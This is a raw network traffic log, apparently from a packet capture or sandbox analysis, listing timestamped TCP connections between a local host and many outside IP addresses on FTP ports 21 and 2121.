Aug 23, 2023 09:16:02.854617119 CEST	51517	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:02.855376959 CEST	51551	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:02.902555943 CEST	21	51535	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:02.902615070 CEST	21	51549	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:02.903568983 CEST	51549	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:02.973144054 CEST	51481	2121	192.168.2.3	92.74.44.122
Aug 23, 2023 09:16:02.973413944 CEST	51552	2121	192.168.2.3	201.3.17.188
Aug 23, 2023 09:16:02.973972082 CEST	51553	21	192.168.2.3	92.101.79.27
Aug 23, 2023 09:16:03.010711908 CEST	2121	51550	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.011317015 CEST	51550	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.044606924 CEST	2121	51550	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.044645071 CEST	2121	51550	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.044931889 CEST	51550	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.071602106 CEST	21	51517	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:03.075782061 CEST	21	51551	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:03.075926065 CEST	51551	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:03.081702948 CEST	51492	2121	192.168.2.3	73.215.164.34
Aug 23, 2023 09:16:03.081722975 CEST	51546	21	192.168.2.3	134.130.132.102
Aug 23, 2023 09:16:03.081722975 CEST	51493	21	192.168.2.3	74.75.129.115
Aug 23, 2023 09:16:03.083506107 CEST	51484	2121	192.168.2.3	68.34.216.36
Aug 23, 2023 09:16:03.083847046 CEST	51554	2121	192.168.2.3	92.101.79.27
Aug 23, 2023 09:16:03.083899975 CEST	51556	2121	192.168.2.3	20.108.238.111
Aug 23, 2023 09:16:03.083970070 CEST	51557	21	192.168.2.3	38.81.69.157
Aug 23, 2023 09:16:03.083973885 CEST	51555	21	192.168.2.3	20.108.238.111
Aug 23, 2023 09:16:03.084094048 CEST	51558	2121	192.168.2.3	38.81.69.157
Aug 23, 2023 09:16:03.088463068 CEST	2121	51550	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.088835955 CEST	51550	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.105151892 CEST	21	51546	134.130.132.102	192.168.2.3
Aug 23, 2023 09:16:03.123591900 CEST	2121	51550	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.123620033 CEST	2121	51550	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.123903036 CEST	51550	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.123903036 CEST	51550	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.126195908 CEST	51559	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.156188011 CEST	2121	51550	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.158433914 CEST	2121	51559	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.158565998 CEST	51559	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.159817934 CEST	51483	21	192.168.2.3	68.34.216.36
Aug 23, 2023 09:16:03.159832001 CEST	51485	21	192.168.2.3	124.170.169.228
Aug 23, 2023 09:16:03.159846067 CEST	51486	2121	192.168.2.3	124.170.169.228
Aug 23, 2023 09:16:03.159881115 CEST	51488	2121	192.168.2.3	45.51.243.93
Aug 23, 2023 09:16:03.159900904 CEST	51490	2121	192.168.2.3	73.211.242.117
Aug 23, 2023 09:16:03.159903049 CEST	51487	21	192.168.2.3	45.51.243.93
Aug 23, 2023 09:16:03.159908056 CEST	51489	21	192.168.2.3	73.211.242.117
Aug 23, 2023 09:16:03.159908056 CEST	51491	21	192.168.2.3	73.215.164.34
Aug 23, 2023 09:16:03.161531925 CEST	21	51549	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:03.161823034 CEST	51549	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:03.228241920 CEST	51560	21	192.168.2.3	167.61.85.66
Aug 23, 2023 09:16:03.284859896 CEST	51495	21	192.168.2.3	106.211.192.224
Aug 23, 2023 09:16:03.284868002 CEST	51494	2121	192.168.2.3	74.75.129.115
Aug 23, 2023 09:16:03.284877062 CEST	51547	2121	192.168.2.3	134.130.132.102
Aug 23, 2023 09:16:03.286608934 CEST	51561	2121	192.168.2.3	167.61.85.66
Aug 23, 2023 09:16:03.297663927 CEST	21	51551	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:03.298614979 CEST	51551	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:03.305161953 CEST	2121	51547	134.130.132.102	192.168.2.3
Aug 23, 2023 09:16:03.326538086 CEST	2121	51559	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.327305079 CEST	51559	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.332992077 CEST	21	51549	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:03.334216118 CEST	21	51549	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:03.334830999 CEST	51549	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:03.339328051 CEST	51499	2121	192.168.2.3	20.241.172.42
Aug 23, 2023 09:16:03.339390993 CEST	51497	2121	192.168.2.3	106.211.192.224
Aug 23, 2023 09:16:03.339431047 CEST	51500	21	192.168.2.3	107.173.232.209
Aug 23, 2023 09:16:03.339477062 CEST	51498	21	192.168.2.3	20.241.172.42
Aug 23, 2023 09:16:03.359920025 CEST	2121	51559	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.360672951 CEST	2121	51559	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.360999107 CEST	51559	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.394529104 CEST	2121	51559	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.394845009 CEST	51559	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.427325964 CEST	51562	21	192.168.2.3	178.15.143.20
Aug 23, 2023 09:16:03.427530050 CEST	2121	51559	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.427668095 CEST	2121	51559	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.427710056 CEST	51559	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.427752018 CEST	51559	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.428565979 CEST	51563	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.441725016 CEST	51564	2121	192.168.2.3	178.15.143.20
Aug 23, 2023 09:16:03.456684113 CEST	51501	2121	192.168.2.3	107.173.232.209
Aug 23, 2023 09:16:03.457746029 CEST	2121	51563	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.457815886 CEST	51563	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.459930897 CEST	2121	51559	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.507009983 CEST	21	51549	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:03.507425070 CEST	51549	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:03.512139082 CEST	21	51551	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:03.577359915 CEST	51504	2121	192.168.2.3	110.47.44.199
Aug 23, 2023 09:16:03.577372074 CEST	51506	2121	192.168.2.3	94.3.1.185
Aug 23, 2023 09:16:03.577403069 CEST	51505	21	192.168.2.3	94.3.1.185
Aug 23, 2023 09:16:03.577498913 CEST	51503	21	192.168.2.3	110.47.44.199
Aug 23, 2023 09:16:03.582772970 CEST	51565	21	192.168.2.3	167.62.199.6
Aug 23, 2023 09:16:03.656419039 CEST	2121	51563	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.657290936 CEST	51563	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.679054976 CEST	21	51549	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:03.679177046 CEST	21	51549	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:03.679275036 CEST	51549	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:03.686886072 CEST	2121	51563	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.687674046 CEST	2121	51563	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.687678099 CEST	51549	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:03.689587116 CEST	51563	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.690133095 CEST	51566	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:03.692418098 CEST	51567	2121	192.168.2.3	167.62.199.6
Aug 23, 2023 09:16:03.720145941 CEST	2121	51563	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.720627069 CEST	51563	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.750005960 CEST	2121	51563	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.750121117 CEST	2121	51563	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.750197887 CEST	51563	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.750540972 CEST	51563	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.751723051 CEST	51568	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.779727936 CEST	2121	51563	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.784089088 CEST	2121	51568	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.784471035 CEST	51568	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.784892082 CEST	51546	21	192.168.2.3	134.130.132.102
Aug 23, 2023 09:16:03.806138992 CEST	21	51546	134.130.132.102	192.168.2.3
Aug 23, 2023 09:16:03.806981087 CEST	51569	21	192.168.2.3	15.197.166.71
Aug 23, 2023 09:16:03.859039068 CEST	21	51549	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:03.861670971 CEST	21	51566	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:03.861819983 CEST	51566	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:03.863078117 CEST	51508	2121	192.168.2.3	97.119.216.136
Aug 23, 2023 09:16:03.972412109 CEST	51547	2121	192.168.2.3	134.130.132.102
Aug 23, 2023 09:16:03.972438097 CEST	51516	2121	192.168.2.3	73.89.89.72
Aug 23, 2023 09:16:03.972446918 CEST	51512	2121	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:03.972454071 CEST	51514	21	192.168.2.3	73.89.89.72
Aug 23, 2023 09:16:03.977066994 CEST	2121	51568	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:03.978404045 CEST	51568	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:03.992516041 CEST	2121	51547	134.130.132.102	192.168.2.3
Aug 23, 2023 09:16:03.996098042 CEST	51570	2121	192.168.2.3	15.197.166.71
Aug 23, 2023 09:16:04.010695934 CEST	2121	51568	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.011333942 CEST	2121	51568	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.011696100 CEST	51568	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.045459032 CEST	2121	51568	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.045874119 CEST	51568	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.051527977 CEST	51571	21	192.168.2.3	47.46.70.249
Aug 23, 2023 09:16:04.068104029 CEST	51572	2121	192.168.2.3	47.46.70.249
Aug 23, 2023 09:16:04.078531027 CEST	2121	51568	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.078550100 CEST	2121	51568	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.078615904 CEST	51568	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.078869104 CEST	51568	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.080025911 CEST	51573	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.110831976 CEST	2121	51573	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.110852957 CEST	2121	51568	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.111006021 CEST	51573	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.113456011 CEST	51574	21	192.168.2.3	206.255.218.154
Aug 23, 2023 09:16:04.115544081 CEST	21	51566	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:04.115806103 CEST	51566	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:04.159919977 CEST	51518	21	192.168.2.3	71.12.209.147
Aug 23, 2023 09:16:04.252595901 CEST	21	51574	206.255.218.154	192.168.2.3
Aug 23, 2023 09:16:04.255904913 CEST	51575	2121	192.168.2.3	206.255.218.154
Aug 23, 2023 09:16:04.291090012 CEST	21	51566	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:04.292385101 CEST	21	51566	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:04.294251919 CEST	51566	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:04.309032917 CEST	2121	51573	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.311486959 CEST	51573	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.341557980 CEST	2121	51573	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.342206001 CEST	2121	51573	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.347546101 CEST	51573	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.380244970 CEST	2121	51573	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.380595922 CEST	51573	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.397816896 CEST	2121	51575	206.255.218.154	192.168.2.3
Aug 23, 2023 09:16:04.411384106 CEST	2121	51573	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.411623001 CEST	2121	51573	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.411737919 CEST	51573	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.412311077 CEST	51573	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.412323952 CEST	51576	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.425519943 CEST	51520	2121	192.168.2.3	71.12.209.147
Aug 23, 2023 09:16:04.425782919 CEST	51521	21	192.168.2.3	8.219.179.78
Aug 23, 2023 09:16:04.441765070 CEST	2121	51576	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.441878080 CEST	51522	2121	192.168.2.3	8.219.179.78
Aug 23, 2023 09:16:04.441977024 CEST	51576	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.442881107 CEST	2121	51573	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.460426092 CEST	51579	21	192.168.2.3	76.138.115.39
Aug 23, 2023 09:16:04.460426092 CEST	51578	2121	192.168.2.3	189.239.45.164
Aug 23, 2023 09:16:04.460431099 CEST	51577	21	192.168.2.3	189.239.45.164
Aug 23, 2023 09:16:04.465229988 CEST	51580	2121	192.168.2.3	76.138.115.39
Aug 23, 2023 09:16:04.466356039 CEST	21	51566	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:04.466979980 CEST	51566	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:04.512588024 CEST	21	51551	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:04.513118029 CEST	51551	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:04.550641060 CEST	51527	2121	192.168.2.3	87.139.28.38
Aug 23, 2023 09:16:04.550723076 CEST	51524	21	192.168.2.3	71.33.129.229
Aug 23, 2023 09:16:04.550961018 CEST	51525	2121	192.168.2.3	71.33.129.229
Aug 23, 2023 09:16:04.550960064 CEST	51526	21	192.168.2.3	87.139.28.38
Aug 23, 2023 09:16:04.566160917 CEST	51529	2121	192.168.2.3	86.25.79.49
Aug 23, 2023 09:16:04.566168070 CEST	51528	21	192.168.2.3	86.25.79.49
Aug 23, 2023 09:16:04.598824024 CEST	51581	21	192.168.2.3	181.105.157.33
Aug 23, 2023 09:16:04.638411999 CEST	2121	51576	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.638556957 CEST	21	51566	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:04.638711929 CEST	21	51566	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:04.638844967 CEST	51566	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:04.638941050 CEST	51566	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:04.638942003 CEST	51576	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.642555952 CEST	51582	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:04.660007954 CEST	51530	21	192.168.2.3	186.170.79.76
Aug 23, 2023 09:16:04.660012960 CEST	51531	2121	192.168.2.3	186.170.79.76
Aug 23, 2023 09:16:04.663162947 CEST	51583	2121	192.168.2.3	181.105.157.33
Aug 23, 2023 09:16:04.663546085 CEST	51584	21	192.168.2.3	117.242.186.202
Aug 23, 2023 09:16:04.667678118 CEST	2121	51576	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.668431997 CEST	2121	51576	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.668705940 CEST	51576	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.698771954 CEST	2121	51576	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.699495077 CEST	51576	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.726519108 CEST	21	51551	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:04.728423119 CEST	2121	51576	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.728574038 CEST	2121	51576	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.728768110 CEST	51576	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.728768110 CEST	51576	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.729943991 CEST	51585	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.731760025 CEST	21	51551	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:04.731785059 CEST	21	51551	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:04.731867075 CEST	51551	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:04.732004881 CEST	51551	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:04.734011889 CEST	51586	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:04.757414103 CEST	2121	51576	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.759011030 CEST	2121	51585	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.759165049 CEST	51585	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.810209990 CEST	21	51566	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:04.813865900 CEST	21	51582	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:04.814320087 CEST	51582	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:04.863065004 CEST	51534	2121	192.168.2.3	23.65.106.186
Aug 23, 2023 09:16:04.863085985 CEST	51574	21	192.168.2.3	206.255.218.154
Aug 23, 2023 09:16:04.863122940 CEST	51533	21	192.168.2.3	23.65.106.186
Aug 23, 2023 09:16:04.869400024 CEST	21	51581	181.105.157.33	192.168.2.3
Aug 23, 2023 09:16:04.942169905 CEST	2121	51583	181.105.157.33	192.168.2.3
Aug 23, 2023 09:16:04.945178032 CEST	21	51551	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:04.947602987 CEST	21	51586	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:04.948760986 CEST	51586	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:04.955279112 CEST	2121	51585	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.955878973 CEST	51585	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:04.973557949 CEST	51587	2121	192.168.2.3	117.242.186.202
Aug 23, 2023 09:16:04.984855890 CEST	2121	51585	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.985615015 CEST	2121	51585	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:04.985899925 CEST	51585	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.002249956 CEST	21	51574	206.255.218.154	192.168.2.3
Aug 23, 2023 09:16:05.016496897 CEST	2121	51585	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.017075062 CEST	51585	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.046511889 CEST	2121	51585	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.046583891 CEST	2121	51585	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.046695948 CEST	51585	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.050606966 CEST	51575	2121	192.168.2.3	206.255.218.154
Aug 23, 2023 09:16:05.050633907 CEST	51536	21	192.168.2.3	173.201.91.0
Aug 23, 2023 09:16:05.050642967 CEST	51537	2121	192.168.2.3	173.201.91.0
Aug 23, 2023 09:16:05.050961018 CEST	51585	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.051733017 CEST	51588	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.079691887 CEST	2121	51585	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.080362082 CEST	2121	51588	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.080456972 CEST	51588	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.081854105 CEST	51539	2121	192.168.2.3	188.24.184.41
Aug 23, 2023 09:16:05.081871033 CEST	51540	21	192.168.2.3	94.198.118.176
Aug 23, 2023 09:16:05.081881046 CEST	51538	21	192.168.2.3	188.24.184.41
Aug 23, 2023 09:16:05.083151102 CEST	51589	21	192.168.2.3	147.161.169.71
Aug 23, 2023 09:16:05.084476948 CEST	51590	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:05.087601900 CEST	51591	21	192.168.2.3	64.98.67.163
Aug 23, 2023 09:16:05.087786913 CEST	51592	2121	192.168.2.3	64.98.67.163
Aug 23, 2023 09:16:05.087932110 CEST	51593	21	192.168.2.3	175.119.186.78
Aug 23, 2023 09:16:05.088110924 CEST	51594	2121	192.168.2.3	175.119.186.78
Aug 23, 2023 09:16:05.088164091 CEST	51595	21	192.168.2.3	89.233.158.1
Aug 23, 2023 09:16:05.088238955 CEST	51596	2121	192.168.2.3	89.233.158.1
Aug 23, 2023 09:16:05.088299036 CEST	51597	21	192.168.2.3	213.126.106.26
Aug 23, 2023 09:16:05.088387012 CEST	51599	21	192.168.2.3	185.214.164.69
Aug 23, 2023 09:16:05.088392973 CEST	51598	2121	192.168.2.3	213.126.106.26
Aug 23, 2023 09:16:05.097965956 CEST	21	51589	147.161.169.71	192.168.2.3
Aug 23, 2023 09:16:05.098037958 CEST	51589	21	192.168.2.3	147.161.169.71
Aug 23, 2023 09:16:05.104434013 CEST	21	51599	185.214.164.69	192.168.2.3
Aug 23, 2023 09:16:05.113121033 CEST	21	51595	89.233.158.1	192.168.2.3
Aug 23, 2023 09:16:05.113766909 CEST	51600	2121	192.168.2.3	185.214.164.69
Aug 23, 2023 09:16:05.114325047 CEST	2121	51596	89.233.158.1	192.168.2.3
Aug 23, 2023 09:16:05.117341995 CEST	21	51582	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:05.117554903 CEST	51582	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:05.125842094 CEST	21	51589	147.161.169.71	192.168.2.3
Aug 23, 2023 09:16:05.125860929 CEST	21	51589	147.161.169.71	192.168.2.3
Aug 23, 2023 09:16:05.125922918 CEST	51589	21	192.168.2.3	147.161.169.71
Aug 23, 2023 09:16:05.126158953 CEST	51589	21	192.168.2.3	147.161.169.71
Aug 23, 2023 09:16:05.126305103 CEST	49948	21	192.168.2.3	199.188.201.19
Aug 23, 2023 09:16:05.126842022 CEST	51601	21	192.168.2.3	73.155.105.240
Aug 23, 2023 09:16:05.129380941 CEST	51602	2121	192.168.2.3	73.155.105.240
Aug 23, 2023 09:16:05.130058050 CEST	2121	51600	185.214.164.69	192.168.2.3
Aug 23, 2023 09:16:05.140857935 CEST	21	51589	147.161.169.71	192.168.2.3
Aug 23, 2023 09:16:05.149060965 CEST	2121	51587	117.242.186.202	192.168.2.3
Aug 23, 2023 09:16:05.159955978 CEST	51542	2121	192.168.2.3	94.198.118.176
Aug 23, 2023 09:16:05.172141075 CEST	21	51586	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:05.172493935 CEST	51586	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:05.193829060 CEST	2121	51575	206.255.218.154	192.168.2.3
Aug 23, 2023 09:16:05.249628067 CEST	21	51590	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:05.249691963 CEST	51590	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:05.255127907 CEST	51603	21	192.168.2.3	184.190.156.231
Aug 23, 2023 09:16:05.265569925 CEST	2121	51588	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.265894890 CEST	51588	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.270215988 CEST	51604	2121	192.168.2.3	184.190.156.231
Aug 23, 2023 09:16:05.288716078 CEST	21	51582	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:05.289980888 CEST	21	51582	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:05.290350914 CEST	51582	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:05.294560909 CEST	2121	51588	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.295252085 CEST	2121	51588	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.295588970 CEST	51588	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.301498890 CEST	51605	21	192.168.2.3	75.89.227.22
Aug 23, 2023 09:16:05.325906992 CEST	2121	51588	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.326193094 CEST	51588	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.337129116 CEST	51606	2121	192.168.2.3	75.89.227.22
Aug 23, 2023 09:16:05.355783939 CEST	2121	51588	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.355807066 CEST	2121	51588	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.355861902 CEST	51588	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.356009007 CEST	51588	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.356769085 CEST	51607	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.378727913 CEST	51581	21	192.168.2.3	181.105.157.33
Aug 23, 2023 09:16:05.384790897 CEST	2121	51588	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.385653973 CEST	2121	51607	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.385745049 CEST	51607	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.386023998 CEST	21	51586	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:05.419563055 CEST	21	51590	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:05.419970036 CEST	51590	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:05.456866980 CEST	51544	2121	192.168.2.3	46.37.120.58
Aug 23, 2023 09:16:05.462176085 CEST	21	51582	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:05.463185072 CEST	51582	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:05.472475052 CEST	51543	21	192.168.2.3	46.37.120.58
Aug 23, 2023 09:16:05.473368883 CEST	51608	21	192.168.2.3	2.197.126.122
Aug 23, 2023 09:16:05.519439936 CEST	49948	21	192.168.2.3	199.188.201.19
Aug 23, 2023 09:16:05.550616980 CEST	51583	2121	192.168.2.3	181.105.157.33
Aug 23, 2023 09:16:05.550694942 CEST	51574	21	192.168.2.3	206.255.218.154
Aug 23, 2023 09:16:05.569076061 CEST	51609	21	192.168.2.3	201.163.72.89
Aug 23, 2023 09:16:05.569154978 CEST	51610	2121	192.168.2.3	2.197.126.122
Aug 23, 2023 09:16:05.569288969 CEST	51611	2121	192.168.2.3	201.163.72.89
Aug 23, 2023 09:16:05.582031012 CEST	2121	51607	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.582602978 CEST	51607	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.582966089 CEST	51612	21	192.168.2.3	218.147.208.213
Aug 23, 2023 09:16:05.585611105 CEST	21	51590	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:05.585632086 CEST	21	51590	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:05.585908890 CEST	51590	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:05.598207951 CEST	51613	2121	192.168.2.3	218.147.208.213
Aug 23, 2023 09:16:05.611576080 CEST	2121	51607	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.613118887 CEST	51599	21	192.168.2.3	185.214.164.69
Aug 23, 2023 09:16:05.613158941 CEST	51595	21	192.168.2.3	89.233.158.1
Aug 23, 2023 09:16:05.614037991 CEST	2121	51607	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.614351034 CEST	51607	2121	192.168.2.3	95.85.215.156
